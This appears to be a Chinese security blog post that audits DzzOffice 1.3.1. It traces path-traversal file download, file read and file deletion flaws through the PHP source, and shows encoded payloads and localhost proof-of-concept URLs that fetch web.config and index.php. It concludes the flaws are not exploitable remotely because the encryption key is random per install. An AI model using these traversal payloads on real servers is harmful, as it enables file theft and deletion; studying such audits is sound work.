dzzoffice1.3.1任意文件下载/读取/删除(假洞)

ps:看补天出现了几个dzzoffice的任意文件下载,跟了下代码,估摸着是我下面说的这类洞,不过是假洞,纯属紫薇。

0x01、任意文件下载

在C:\phpStudy\WWW\dzz\attach\view.php中

if(!$path=dzzdecode(trim($_GET['s']))){
exit('Access Denied');
}
if($_GET['a']=='down'){
IO::download($path);
exit();
}

可以看到获取变量s,用dzzdecode函数解密赋给变量path,然后带入到了第13行中的download函数,跟一下该函数,在C:\phpStudy\WWW\core\class\dzz\dzz_io.php中,

public function download($paths,$filename=''){
     $paths=(array)$paths;
     $paths=self::clean($paths);
     if($io=self::initIO($paths[0]))  $io->download($paths,$filename); 
     else return false;
 }

可以看到用clean函数对传进来的$paths进行过滤,跟一下该函数,在C:\phpStudy\WWW\core\class\dzz\dzz_io.php中,

public function clean($str) {//清除路径
    if(is_array($str)){
        foreach($str as $key=> $value){
            $str[$key]=str_replace(array( "\n", "\r", '../'), '', $value);
        }
    }else{
        $str= str_replace(array( "\n", "\r", '../'), '', $str);
    }
    return $str;
}

可以看到过滤了../,但是我们可以用..\来绕过。接着调用self::initIO函数来返回一个要调用的类,

protected function initIO($path){
    $path=self::clean($path);
    $bzarr=explode(':',$path);
    $allowbz=C::t('connect')->fetch_all_bz();//array('baiduPCS','ALIOSS','dzz','JSS','disk');
    
    if(strpos($path,'dzz::')!==false){
        $classname= 'io_dzz';
    }elseif(strpos($path,'attach::')!==false){
        $classname= 'io_dzz';
    }elseif(strpos($path,'TMP::')!==false){
        $classname= 'io_dzz';
    }elseif(is_numeric($bzarr[0])){
        $classname= 'io_dzz';
    }elseif(in_array($bzarr[0],$allowbz)){
        $classname= 'io_'.$bzarr[0];
    }else{
        return false;
    }
    return new $classname($path);
}

此时可以控制$path来确定返回的类,需要返回io_dzz类。
回到前面的download函数中,可以看到在initIO函数执行后,调用了

$io->download($paths,$filename);

来下载文件,跟一下download函数,因为此时$io是io_dzz类,所以download函数在C:\phpStudy\WWW\core\class\io\io_dzz.php中,

public function download($paths,$filename){
    global $_G;
    $paths=(array)$paths;
    if(count($paths)>1){
        self::zipdownload($paths,$filename);
        exit();
    }else{
        $path=$paths[0];
    }
    @set_time_limit(0);
    $attachexists = FALSE;
    if(strpos($path,'attach::')===0){
        $attachment=C::t('attachment')->fetch(intval(str_replace('attach::','',$path)));
         $attachment['name']=$filename?$filename:$attachment['filename'];
        $path=getDzzPath($attachment);
        $attachurl=IO::getStream($path);
    }elseif(strpos($path,'dzz::')===0){
        $attachment=array('attachment'=>preg_replace("/^dzz::/i",'',$path),'name'=>$filename?$filename:substr(strrpos($path, '/')));
        $attachurl=$_G['setting']['attachdir'].$attachment['attachment'];
    }elseif(strpos($path,'TMP::')===0){
        $tmp=str_replace('\\','/',sys_get_temp_dir());
        $attachurl= str_replace('TMP::',$tmp.'/',$path);
        $pathinfo=pathinfo($attachurl);
        $attachment=array('attachment'=>$attachurl,'name'=>$filename?$filename:$pathinfo['basename']);
        
    }elseif(is_numeric($path)){
        $icoid=intval($path);
        $icoarr = C::t('icos')->fetch_by_icoid($path);
        
        if(!$icoarr['icoid']){
            topshowmessage(lang('attachment_nonexistence'));
        }elseif($icoarr['type']=='folder'){
            self::zipdownload($path);
            exit();
        }
        if(!$icoarr['aid']){
            topshowmessage(lang('attachment_nonexistence'));
        }
        $attachment=$icoarr;
        $attachurl=IO::getStream($path);
    }

可以看到如果$path是以attach字符开头,则进入第一个if中,如果是以dzz开头,则进入elseif中,如果是以TMP开头,则进入第二个elseif中,其中第一个第二个elseif都有漏洞,先以第一个elseif为例:在第587行将$path中的dzz::替换为空,然后赋给$attachment,然后跟$_G'setting'拼接形成$attachurl,核心就是控制这个$attachurl,之后在第620行,621行进行具体的文件下载。
这里有个问题,我们把$_G'setting'输出,可以看到其值为C:/phpStudy/WWW/./data/attachment/
这个路径直接在windows上操作是不存在的,
图片2.png
如果再加上我们跳转的目录,且是反斜杠跳转的目录,最终的变量attachurl如果控制为:

C:/phpStudy/WWW/./data/attachment/..\..\..\..\..\phpStudy\WWW\web.config

则更报错。
但是在windows环境下php的执行过程中,是正确的,可以任意文件读取,我猜测,是php自动处理过了目录,最后消除了./和..\,只要是存在的文件,不论怎么写跳转都是可以读取的
那么如果我们想下载web根目录下的web.config文件,则先用

echo dzzencode('dzz::..\..\..\..\..\phpStudy\WWW\web.config');

得到编码后的变量,也即是变量s,

OUNFT1BpRFFxRExWbm1QRzVETVBLUHBhcXp6cWc4a3otUDU2RHNKX2xNMi02VWxvOEV4QW0zaEFWTEF0QTl0OFVpb2FyeGxna2pybk9NQVc0SEhqQlBTYXNNRUg

解码后变量$paths是以dzz::开头的,所以调用io_dzz类,然后经过后面的一系列操作,成功下载文件web.config。
访问:

http://localhost/index.php?mod=attach&op=view&a=down&s=OUNFT1BpRFFxRExWbm1QRzVETVBLUHBhcXp6cWc4a3otUDU2RHNKX2xNMi02VWxvOEV4QW0zaEFWTEF0QTl0OFVpb2FyeGxna2pybk9NQVc0SEhqQlBTYXNNRUg=

图片3.png
文件名被命名为index.php,但其内容是web.config的内容
图片4.png
成功读取web.config文件。

0x02、任意文件读取

在C:\phpStudy\WWW\dzz\attach\view.php中,
在该文件的第一行获取变量s,并解码赋给变量path,然后在第79行,

//获取文件流地址
if(!$url=(IO::getStream($path))){
    exit(lang('failed_get_file'));
}
if(is_array($url)) exit($url['error']);

//如果是阻止运行的后缀名时,直接调用;
if($ext && in_array($ext,$_G['setting']['unRunExts'])){
    $mime='text/plain';
}else{
    $mime=dzz_mime::get_type($ext);
}
@set_time_limit(0);
@header('Content-Type: '.$mime);
@ob_end_clean();
@readfile($url);
@flush(); 
@ob_flush();
exit();

调用了IO::getStream函数,

//获取文件流地址
public function getStream($path,$fop=''){
    global $_G;
    if(strpos($path,'attach::')===0){
        $attach=C::t('attachment')->fetch(intval(str_replace('attach::','',$path)));
        $bz=io_remote::getBzByRemoteid($attach['remote']);
        if($bz=='dzz'){
            if($icoarr['type']=='video' || $icoarr['type']=='dzzdoc' || $icoarr['type']=='link'){
                return $icoarr['url'];
            }
            return $_G['setting']['attachdir'].$attach['attachment'];
        }else{
            return IO::getStream($bz.'/'.$attach['attachment'],$fop);
        }
    }elseif(strpos($path,'dzz::')===0){
        if(strpos($icoid,'../')!==false) return '';
        return $_G['setting']['attachdir'].preg_replace("/^dzz::/",'',$path);
    }elseif(strpos($path,'TMP::')===0){
        $tmp=str_replace('\\','/',sys_get_temp_dir());
        return str_replace('TMP::',$tmp.'/',$path);
    }elseif(is_numeric($path)){
        $icoarr=C::t('icos')->fetch_by_icoid($path);
        $bz=io_remote::getBzByRemoteid($icoarr['remote']);
        if($bz=='dzz'){
            if($icoarr['type']=='video' || $icoarr['type']=='dzzdoc' || $icoarr['type']=='link'){
                return $icoarr['url'];
            }
            return $_G['setting']['attachdir'].$icoarr['attachment'];
        }else{
            return IO::getStream($bz.'/'.$icoarr['attachment'],$fop);
        }
    }else{
        return $path;
    }
    return '';
}

看第155行,也即是最后一个else,如果不满足前面的几个if,elseif,则直接return $path,原封不动的返回路径,完全可控。
然后在第93行,直接调用了readfile函数

@readfile($url);

进行了文件读取。
如果我们要读取的是index.php文件,则用

echo dzzencode('C:\phpStudy\WWW\index.php');    

得到编码后的变量:

OUNFT1BpRFFxRExWbm1LUTZHWUlMYWxlX2pfdmdNZ3o5ZjVkVHVRMXhwUER3UklpMVQ0NWtBRXlZZkJuT3RNNlVoRWU=

然后访问:

http://localhost/index.php?mod=attach&op=view&s=OUNFT1BpRFFxRExWbm1LUTZHWUlMYWxlX2pfdmdNZ3o5ZjVkVHVRMXhwUER3UklpMVQ0NWtBRXlZZkJuT3RNNlVoRWU=

图片5.png
图片6.png
读取成功

0x03 任意文件删除

在C:\phpStudy\WWW\dzz\dzz\system\dzzcp.php中大约第230行,

elseif($do=='deleteIco'){
$arr=array();
$names=array();
$i=0;
$icoids=$_GET['icoids'];
$bz=trim($_GET['bz']);
foreach($icoids as $icoid){
    $icoid=dzzdecode($icoid);
    if(empty($icoid)){
        continue;
    }
    if(strpos($icoid,'../')!==false){
        $arr['msg'][$return['icoid']]=lang('illegal_calls');
    }else{
        $return=IO::Delete($icoid);

跟踪$icoid,

$return=IO::Delete($icoid);

最终调用了C:\phpStudy\WWW\dzz\core\class\io\io_dzz.php中的Delete函数,

public function Delete($icoid,$force=false){
    global $_G;
    if(strpos($icoid,'dzz::')===0){
        if(strpos($icoid,'../')!==false) return false;
        @unlink($_G['setting']['attachdir'].preg_replace('/^dzz::/i','',$icoid));
        return true;
    
    }elseif(strpos($icoid,'attach::')===0){
        if(strpos($icoid,'../')!==false) return false;
        return C::t('attachment')->delete_by_aid(intval(str_replace('attach::','',$icoid)));
    }elseif(strpos($icoid,'TMP::')===0){
        $tmp=str_replace('\\','/',sys_get_temp_dir());
        return @unlink(str_replace('TMP::',$tmp.'/',$path));
    }else{

可以看到几个unlink里面的$icoid都是可控的,可以做到任意文件删除

0x04 为什么说是假洞?

这类洞的开始都是用

if(!$path=dzzdecode(trim($_GET['s']))){
exit('Access Denied');
}

dzzdecode等解密函数来解密输入的变量,我们很多时候认为加解密可逆,用dzzencode等加密函数即可得到我们想要的,然后本地测试成功了就提交漏洞了,很多时候这只是本地自慰,因为加解密函数中的key并不一定是硬编码,可能在程序安装的时候随机生成的,各个站点的key都不一样,所以你的加密后的数值拿到其他站点测试,并不会被成功解密,所以本地测试成功不一定是真洞。
现在来跟一下dzzdecode函数,

function dzzdecode($string,$key='',$ckey_length=0){
if($key){
    $tarr=explode('|',$key);
    foreach($tarr as $key => $v){
        if(getglobal($v)) $tarr[$key]=getglobal($v);
    }
    $key=implode('|',$tarr);
}
$key = md5($key != '' ? $key : getglobal('setting/authkey'));
if(!$ret=authcode(base64_decode($string),'DECODE',$key,0,$ckey_length)){
    $ret=authcode(base64_decode($string),'DECODE',$key,0,4);
}
return $ret;
}

其中

$key = md5($key != '' ? $key : getglobal('setting/authkey'));

$key由getglobal函数生成,在C:\phpStudy\WWW\core\function\function_core.php中,

function getglobal($key, $group = null) {
    global $_G;
    $key = explode('/', $group === null ? $key : $group.'/'.$key);
    $v = &$_G;
    foreach ($key as $k) {
        if (!isset($v[$k])) {
            return null;
        }
        $v = &$v[$k];
    }
    return $v;
}

我的本地getglobal函数返回的字符串为457da0wybMUw7PG3,在C:\phpStudy\WWW\core\config\config.php中,是由程序安装时随机生成的,跟一下安装时的生成过程,在安装包中的\install\index.php中,该文件安装后被自动删除了。

$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
    $_config['db'][1]['dbhost'] = $dbhost;
    $_config['db'][1]['dbname'] = $dbname;
    $_config['db'][1]['dbpw'] = $dbpw;
    $_config['db'][1]['dbuser'] = $dbuser;
    $_config['db'][1]['tablepre'] = $tablepre;
    $_config['admincp']['founder'] = (string)$uid;
    $_config['security']['authkey'] = $authkey;

其中

    $authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);

生成authkey,random函数在\install\include\install_function.php中

function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
    $hash .= $chars[mt_rand(0, $max)];
}
return $hash;

}
安装时完全随机生成key,导致本地成功的加解密只是本地紫薇,不信你拿本地的生成的poc去demo站试试-.-,估摸着补天几个洞都是假的,审核也是假的

标签: none

添加新评论